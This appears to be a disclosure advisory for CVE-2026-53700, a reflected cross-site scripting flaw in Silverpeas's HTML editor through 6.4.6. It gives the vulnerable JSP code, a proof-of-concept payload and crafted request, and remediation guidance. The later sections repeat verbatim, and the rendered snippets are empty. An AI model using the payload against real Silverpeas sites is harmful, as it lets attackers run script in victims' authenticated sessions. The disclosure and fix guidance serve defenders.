> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.
# CVE-2026-53700: Authenticated Reflected XSS in Silverpeas
> A reflected cross-site scripting vulnerability in the Silverpeas HTML editor through version 6.4.6 affects authenticated users.
## Summary
`htmlEditor.jsp` in Silverpeas through 6.4.6 concatenates the `ReturnUrl` request parameter into a JavaScript string without context-appropriate encoding. An attacker can execute JavaScript in an authenticated victim's session when the victim visits a crafted editor URL and activates the Back control.
| Field | Details |
| ----------------- | ----------------------------------------------------------------------------- |
| CVE | CVE-2026-53700 |
| Weakness | CWE-79: Cross-site Scripting |
| Affected versions | Through 6.4.6 |
| Fixed version | 6.4.7 |
| Required access | Low privileges; authenticated victim interaction required |
| CVSS 3.1 | 4.6 Medium; `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N` |
| CVSS 4.0 | 4.8 Medium; `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N` |
## Technical details
The editor reads `ReturnUrl` from the request and stores it for later use:
```java wrap theme={null}
returnUrl = request.getParameter("ReturnUrl");
if (returnUrl == null) {
returnUrl = (String) request.getAttribute("ReturnUrl");
}
session.setAttribute("WYSIWYG_ReturnUrl", returnUrl);
```
The value is then concatenated into a JavaScript string used by the Back button:
```jsp wrap theme={null}
<%=
"javascript:sp.editor.wysiwyg.lastBackupManager.clear();sp.navRequest('"
+ returnUrl +
"').go();"
%>
```
No JavaScript-string encoding is applied. A value such as `');alert(document.domain);sp.navRequest('` closes the first call, inserts JavaScript, and starts another call so that the resulting handler remains syntactically valid.
HTML encoding alone is not sufficient at this sink. The untrusted value is inside a JavaScript string, where quotes, backslashes, and line terminators need JavaScript-context encoding.
## Reproduction
### 1. Send the editor URL to an authenticated user
```http wrap theme={null}
GET /silverpeas/wysiwyg/jsp/htmlEditor.jsp?ComponentId=personalization&ObjectId=1&Language=en&ReturnUrl=');alert(document.domain);sp.navRequest(' HTTP/1.1
Host:
Cookie: JSESSIONID=
```
An unauthenticated request reaches an error page. Exploitation requires the victim to have an active Silverpeas session.
### 2. Activate the Back control
The page renders the supplied input into the button action:
```html wrap theme={null}
Back
```
The injected code runs only after the victim clicks Back:
## Impact
The attacker can run JavaScript in the Silverpeas origin with access to the victim's authenticated session. Exploitation has two interaction requirements: the victim must open the crafted editor URL while signed in and then click Back. This makes the finding less practical than CVE-2026-53695, but the sink still permits arbitrary script execution.
## Remediation
Upgrade to Silverpeas 6.4.7 or later. Encode `ReturnUrl` for a JavaScript string before interpolation. For example, the OWASP Java Encoder provides `Encode.forJavaScript(returnUrl)`. A safer design is to avoid generating `javascript:` URLs and attach behavior without placing untrusted data inside executable code.
## References
* [Research article: cross-site scripting](/research/silverpeas/2026-09#cross-site-scripting)
* [Silverpeas fix commit](https://github.com/Silverpeas/Silverpeas-Core/commit/71d118008836c6f642bfde54a8ba778b8b63b138)
* [Silverpeas 6.4.7](https://github.com/Silverpeas/Silverpeas-Core/releases/tag/6.4.7)
* [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-53700)
### 2. Activate the Back control
The page renders the supplied input into the button action:
```html wrap theme={null}
Back
```
The injected code runs only after the victim clicks Back:
## Impact
The attacker can run JavaScript in the Silverpeas origin with access to the victim's authenticated session. Exploitation has two interaction requirements: the victim must open the crafted editor URL while signed in and then click Back. This makes the finding less practical than CVE-2026-53695, but the sink still permits arbitrary script execution.
## Remediation
Upgrade to Silverpeas 6.4.7 or later. Encode `ReturnUrl` for a JavaScript string before interpolation. For example, the OWASP Java Encoder provides `Encode.forJavaScript(returnUrl)`. A safer design is to avoid generating `javascript:` URLs and attach behavior without placing untrusted data inside executable code.
## References
* [Research article: cross-site scripting](/research/silverpeas/2026-09#cross-site-scripting)
* [Silverpeas fix commit](https://github.com/Silverpeas/Silverpeas-Core/commit/71d118008836c6f642bfde54a8ba778b8b63b138)
* [Silverpeas 6.4.7](https://github.com/Silverpeas/Silverpeas-Core/releases/tag/6.4.7)
* [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-53700)